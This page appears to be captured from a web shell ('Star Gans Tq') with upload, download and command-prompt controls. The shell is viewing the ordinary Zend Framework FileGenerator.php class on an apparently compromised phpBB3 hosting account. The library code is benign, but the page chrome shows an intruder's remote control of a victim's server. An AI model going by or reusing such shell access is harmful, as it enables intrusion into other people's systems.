.=< { Star Gans Tq } >=.

  • Home

  • Killme
  • Download
  • Current Path : /home/m/e/h/meharicl/www/phpBB3/vendor/zendframework/zend-code/src/Generator/
    Upload File
    @Command ~ $  
    Current File : /home/m/e/h/meharicl/www/phpBB3/vendor/zendframework/zend-code/src/Generator/FileGenerator.php

    <?php
    /**
     * Zend Framework (http://framework.zend.com/)
     *
     * @link      http://github.com/zendframework/zf2 for the canonical source repository
     * @copyright Copyright (c) 2005-2016 Zend Technologies USA Inc. (http://www.zend.com)
     * @license   http://framework.zend.com/license/new-bsd New BSD License
     */
    
    namespace Zend\Code\Generator;
    
    use Zend\Code\DeclareStatement;
    use Zend\Code\Exception\InvalidArgumentException;
    use Zend\Code\Reflection\Exception as ReflectionException;
    use Zend\Code\Reflection\FileReflection;
    
    use function array_key_exists;
    use function array_merge;
    use function count;
    use function current;
    use function dirname;
    use function file_put_contents;
    use function in_array;
    use function is_array;
    use function is_string;
    use function is_writable;
    use function method_exists;
    use function preg_match;
    use function preg_replace;
    use function property_exists;
    use function reset;
    use function sprintf;
    use function str_repeat;
    use function str_replace;
    use function strrpos;
    use function strtolower;
    use function substr;
    use function token_get_all;
    
    class FileGenerator extends AbstractGenerator
    {
        /**
         * @var string
         */
        protected $filename;
    
        /**
         * @var DocBlockGenerator
         */
        protected $docBlock;
    
        /**
         * @var array
         */
        protected $requiredFiles = [];
    
        /**
         * @var string
         */
        protected $namespace;
    
        /**
         * @var array
         */
        protected $uses = [];
    
        /**
         * @var array
         */
        protected $classes = [];
    
        /**
         * @var string
         */
        protected $body;
    
        /**
         * @var DeclareStatement[]
         */
        protected $declares = [];
    
        /**
         * Passes $options to {@link setOptions()}.
         *
         * @param  array|\Traversable $options
         */
        public function __construct($options = null)
        {
            if (null !== $options) {
                $this->setOptions($options);
            }
        }
    
        /**
         * Use this if you intend on generating code generation objects based on the same file.
         * This will keep previous changes to the file in tact during the same PHP process
         *
         * @param  string $filePath
         * @param  bool $includeIfNotAlreadyIncluded
         * @throws ReflectionException\InvalidArgumentException If file does not exists
         * @throws ReflectionException\RuntimeException If file exists but is not included or required
         * @return FileGenerator
         */
        public static function fromReflectedFileName($filePath, $includeIfNotAlreadyIncluded = true)
        {
            $fileReflector = new FileReflection($filePath, $includeIfNotAlreadyIncluded);
            $codeGenerator = static::fromReflection($fileReflector);
    
            return $codeGenerator;
        }
    
        /**
         * @param  FileReflection $fileReflection
         * @return FileGenerator
         */
        public static function fromReflection(FileReflection $fileReflection)
        {
            $file = new static();
    
            $file->setSourceContent($fileReflection->getContents());
            $file->setSourceDirty(false);
    
            $uses = $fileReflection->getUses();
    
            foreach ($fileReflection->getClasses() as $class) {
                $phpClass = ClassGenerator::fromReflection($class);
                $phpClass->setContainingFileGenerator($file);
    
                foreach ($uses as $fileUse) {
                    $phpClass->addUse($fileUse['use'], $fileUse['as']);
                }
    
                $file->setClass($phpClass);
            }
    
            $namespace = $fileReflection->getNamespace();
    
            if ($namespace != '') {
                $file->setNamespace($namespace);
            }
    
            if ($uses) {
                $file->setUses($uses);
            }
    
            if ($fileReflection->getDocComment() != '') {
                $docBlock = $fileReflection->getDocBlock();
                $file->setDocBlock(DocBlockGenerator::fromReflection($docBlock));
            }
    
            return $file;
        }
    
        /**
         * @param  array $values
         * @return FileGenerator
         */
        public static function fromArray(array $values)
        {
            $fileGenerator = new static();
            foreach ($values as $name => $value) {
                switch (strtolower(str_replace(['.', '-', '_'], '', $name))) {
                    case 'filename':
                        $fileGenerator->setFilename($value);
                        break;
                    case 'class':
                        $fileGenerator->setClass(
                            $value instanceof ClassGenerator
                            ? $value
                            : ClassGenerator::fromArray($value)
                        );
                        break;
                    case 'requiredfiles':
                        $fileGenerator->setRequiredFiles($value);
                        break;
                    case 'declares':
                        $fileGenerator->setDeclares(array_map(static function ($directive, $value) {
                            return DeclareStatement::fromArray([$directive => $value]);
                        }, array_keys($value), $value));
                        break;
                    default:
                        if (property_exists($fileGenerator, $name)) {
                            $fileGenerator->{$name} = $value;
                        } elseif (method_exists($fileGenerator, 'set' . $name)) {
                            $fileGenerator->{'set' . $name}($value);
                        }
                }
            }
    
            return $fileGenerator;
        }
    
        /**
         * @param  DocBlockGenerator|array|string $docBlock
         * @throws Exception\InvalidArgumentException
         * @return FileGenerator
         */
        public function setDocBlock($docBlock)
        {
            if (is_string($docBlock)) {
                $docBlock = ['shortDescription' => $docBlock];
            }
    
            if (is_array($docBlock)) {
                $docBlock = new DocBlockGenerator($docBlock);
            } elseif (! $docBlock instanceof DocBlockGenerator) {
                throw new Exception\InvalidArgumentException(sprintf(
                    '%s is expecting either a string, array or an instance of %s\DocBlockGenerator',
                    __METHOD__,
                    __NAMESPACE__
                ));
            }
    
            $this->docBlock = $docBlock;
            return $this;
        }
    
        /**
         * @return DocBlockGenerator
         */
        public function getDocBlock()
        {
            return $this->docBlock;
        }
    
        /**
         * @param  array $requiredFiles
         * @return FileGenerator
         */
        public function setRequiredFiles(array $requiredFiles)
        {
            $this->requiredFiles = $requiredFiles;
            return $this;
        }
    
        /**
         * @return array
         */
        public function getRequiredFiles()
        {
            return $this->requiredFiles;
        }
    
        /**
         * @return string
         */
        public function getNamespace()
        {
            return $this->namespace;
        }
    
        /**
         * @param  string $namespace
         * @return FileGenerator
         */
        public function setNamespace($namespace)
        {
            $this->namespace = (string) $namespace;
            return $this;
        }
    
        /**
         * Returns an array with the first element the use statement, second is the as part.
         * If $withResolvedAs is set to true, there will be a third element that is the
         * "resolved" as statement, as the second part is not required in use statements
         *
         * @param  bool $withResolvedAs
         * @return array
         */
        public function getUses($withResolvedAs = false)
        {
            $uses = $this->uses;
            if ($withResolvedAs) {
                for ($useIndex = 0, $count = count($uses); $useIndex < $count; $useIndex++) {
                    if ($uses[$useIndex][1] == '') {
                        if (($lastSeparator = strrpos($uses[$useIndex][0], '\\')) !== false) {
                            $uses[$useIndex][2] = substr($uses[$useIndex][0], $lastSeparator + 1);
                        } else {
                            $uses[$useIndex][2] = $uses[$useIndex][0];
                        }
                    } else {
                        $uses[$useIndex][2] = $uses[$useIndex][1];
                    }
                }
            }
    
            return $uses;
        }
    
        /**
         * @param  array $uses
         * @return FileGenerator
         */
        public function setUses(array $uses)
        {
            foreach ($uses as $use) {
                $use = (array) $use;
                if (array_key_exists('use', $use) && array_key_exists('as', $use)) {
                    $import = $use['use'];
                    $alias  = $use['as'];
                } elseif (count($use) == 2) {
                    list($import, $alias) = $use;
                } else {
                    $import = current($use);
                    $alias  = null;
                }
                $this->setUse($import, $alias);
            }
            return $this;
        }
    
        /**
         * @param  string $use
         * @param  null|string $as
         * @return FileGenerator
         */
        public function setUse($use, $as = null)
        {
            if (! in_array([$use, $as], $this->uses)) {
                $this->uses[] = [$use, $as];
            }
            return $this;
        }
    
        /**
         * @param  array $classes
         * @return FileGenerator
         */
        public function setClasses(array $classes)
        {
            foreach ($classes as $class) {
                $this->setClass($class);
            }
    
            return $this;
        }
    
        /**
         * @param  string $name
         * @return ClassGenerator
         */
        public function getClass($name = null)
        {
            if ($name === null) {
                reset($this->classes);
    
                return current($this->classes);
            }
    
            return $this->classes[(string) $name];
        }
    
        /**
         * @param  array|string|ClassGenerator $class
         * @throws Exception\InvalidArgumentException
         * @return FileGenerator
         */
        public function setClass($class)
        {
            if (is_array($class)) {
                $class = ClassGenerator::fromArray($class);
            } elseif (is_string($class)) {
                $class = new ClassGenerator($class);
            } elseif (! $class instanceof ClassGenerator) {
                throw new Exception\InvalidArgumentException(sprintf(
                    '%s is expecting either a string, array or an instance of %s\ClassGenerator',
                    __METHOD__,
                    __NAMESPACE__
                ));
            }
    
            // @todo check for dup here
            $className                 = $class->getName();
            $this->classes[$className] = $class;
    
            return $this;
        }
    
        /**
         * @param  string $filename
         * @return FileGenerator
         */
        public function setFilename($filename)
        {
            $this->filename = (string) $filename;
            return $this;
        }
    
        /**
         * @return string
         */
        public function getFilename()
        {
            return $this->filename;
        }
    
        /**
         * @return ClassGenerator[]
         */
        public function getClasses()
        {
            return $this->classes;
        }
    
        /**
         * @param  string $body
         * @return FileGenerator
         */
        public function setBody($body)
        {
            $this->body = (string) $body;
            return $this;
        }
    
        /**
         * @return string
         */
        public function getBody()
        {
            return $this->body;
        }
    
        public function setDeclares(array $declares)
        {
            foreach ($declares as $declare) {
                if (! $declare instanceof DeclareStatement) {
                    throw new InvalidArgumentException(sprintf(
                        '%s is expecting an array of %s objects',
                        __METHOD__,
                        DeclareStatement::class
                    ));
                }
    
                if (! array_key_exists($declare->getDirective(), $this->declares)) {
                    $this->declares[$declare->getDirective()] = $declare;
                }
            }
    
            return $this;
        }
    
        /**
         * @return bool
         */
        public function isSourceDirty()
        {
            $docBlock = $this->getDocBlock();
            if ($docBlock && $docBlock->isSourceDirty()) {
                return true;
            }
    
            foreach ($this->classes as $class) {
                if ($class->isSourceDirty()) {
                    return true;
                }
            }
    
            return parent::isSourceDirty();
        }
    
        /**
         * @return string
         */
        public function generate()
        {
            if ($this->isSourceDirty() === false) {
                return $this->sourceContent;
            }
    
            $output = '';
    
            // @note body gets populated when FileGenerator created
            // from a file.  @see fromReflection and may also be set
            // via FileGenerator::setBody
            $body = $this->getBody();
    
            // start with the body (if there), or open tag
            if (preg_match('#(?:\s*)<\?php#', $body) == false) {
                $output = '<?php' . self::LINE_FEED;
            }
    
            // if there are markers, put the body into the output
            if (preg_match('#/\* Zend_Code_Generator_Php_File-(.*?)Marker:#m', $body)) {
                $tokens = token_get_all($body);
                foreach ($tokens as $token) {
                    if (is_array($token) && in_array($token[0], [T_OPEN_TAG, T_COMMENT, T_DOC_COMMENT, T_WHITESPACE])) {
                        $output .= $token[1];
                    }
                }
                $body = '';
            }
    
            // Add file DocBlock, if any
            if (null !== ($docBlock = $this->getDocBlock())) {
                $docBlock->setIndentation('');
    
                if (preg_match('#/\* Zend_Code_Generator_FileGenerator-DocBlockMarker \*/#m', $output)) {
                    // @codingStandardsIgnoreStart
                    $output = preg_replace('#/\* Zend_Code_Generator_FileGenerator-DocBlockMarker \*/#m', $docBlock->generate(), $output, 1);
                    // @codingStandardsIgnoreEnd
                } else {
                    $output .= $docBlock->generate() . self::LINE_FEED;
                }
            }
    
            // newline
            $output .= self::LINE_FEED;
    
            // namespace, if any
            $namespace = $this->getNamespace();
            if ($namespace) {
                $namespace = sprintf('namespace %s;%s', $namespace, str_repeat(self::LINE_FEED, 2));
                if (preg_match('#/\* Zend_Code_Generator_FileGenerator-NamespaceMarker \*/#m', $output)) {
                    $output = preg_replace(
                        '#/\* Zend_Code_Generator_FileGenerator-NamespaceMarker \*/#m',
                        $namespace,
                        $output,
                        1
                    );
                } else {
                    $output .= $namespace;
                }
            }
    
            // declares, if any
            if ($this->declares) {
                $declareStatements = '';
    
                foreach ($this->declares as $declare) {
                    $declareStatements .= $declare->getStatement() . self::LINE_FEED;
                }
    
                if (preg_match('#/\* Zend_Code_Generator_FileGenerator-DeclaresMarker \*/#m', $output)) {
                    $output = preg_replace(
                        '#/\* Zend_Code_Generator_FileGenerator-DeclaresMarker \*/#m',
                        $declareStatements,
                        $output,
                        1
                    );
                } else {
                    $output .= $declareStatements;
                }
    
                $output .= self::LINE_FEED;
            }
    
            // process required files
            // @todo marker replacement for required files
            $requiredFiles = $this->getRequiredFiles();
            if (! empty($requiredFiles)) {
                foreach ($requiredFiles as $requiredFile) {
                    $output .= 'require_once \'' . $requiredFile . '\';' . self::LINE_FEED;
                }
    
                $output .= self::LINE_FEED;
            }
    
            $classes = $this->getClasses();
            $classUses = [];
            //build uses array
            foreach ($classes as $class) {
                //check for duplicate use statements
                $uses = $class->getUses();
                if (! empty($uses) && is_array($uses)) {
                    $classUses = array_merge($classUses, $uses);
                }
            }
    
            // process import statements
            $uses = $this->getUses();
            if (! empty($uses)) {
                $useOutput = '';
    
                foreach ($uses as $use) {
                    list($import, $alias) = $use;
                    if (null === $alias) {
                        $tempOutput = sprintf('%s', $import);
                    } else {
                        $tempOutput = sprintf('%s as %s', $import, $alias);
                    }
    
                    //don't duplicate use statements
                    if (! in_array($tempOutput, $classUses)) {
                        $useOutput .= 'use ' . $tempOutput . ';';
                        $useOutput .= self::LINE_FEED;
                    }
                }
                $useOutput .= self::LINE_FEED;
    
                if (preg_match('#/\* Zend_Code_Generator_FileGenerator-UseMarker \*/#m', $output)) {
                    $output = preg_replace(
                        '#/\* Zend_Code_Generator_FileGenerator-UseMarker \*/#m',
                        $useOutput,
                        $output,
                        1
                    );
                } else {
                    $output .= $useOutput;
                }
            }
    
            // process classes
            if (! empty($classes)) {
                foreach ($classes as $class) {
                    // @codingStandardsIgnoreStart
                    $regex = str_replace('&', $class->getName(), '/\* Zend_Code_Generator_Php_File-ClassMarker: \{[A-Za-z0-9\\\]+?&\} \*/');
                    // @codingStandardsIgnoreEnd
                    if (preg_match('#' . $regex . '#m', $output)) {
                        $output = preg_replace('#' . $regex . '#', $class->generate(), $output, 1);
                    } else {
                        if ($namespace) {
                            $class->setNamespaceName(null);
                        }
                        $output .= $class->generate() . self::LINE_FEED;
                    }
                }
            }
    
            if (! empty($body)) {
                // add an extra space between classes and
                if (! empty($classes)) {
                    $output .= self::LINE_FEED;
                }
    
                $output .= $body;
            }
    
            return $output;
        }
    
        /**
         * @return FileGenerator
         * @throws Exception\RuntimeException
         */
        public function write()
        {
            if ($this->filename == '' || ! is_writable(dirname($this->filename))) {
                throw new Exception\RuntimeException('This code generator object is not writable.');
            }
            file_put_contents($this->filename, $this->generate());
    
            return $this;
        }
    }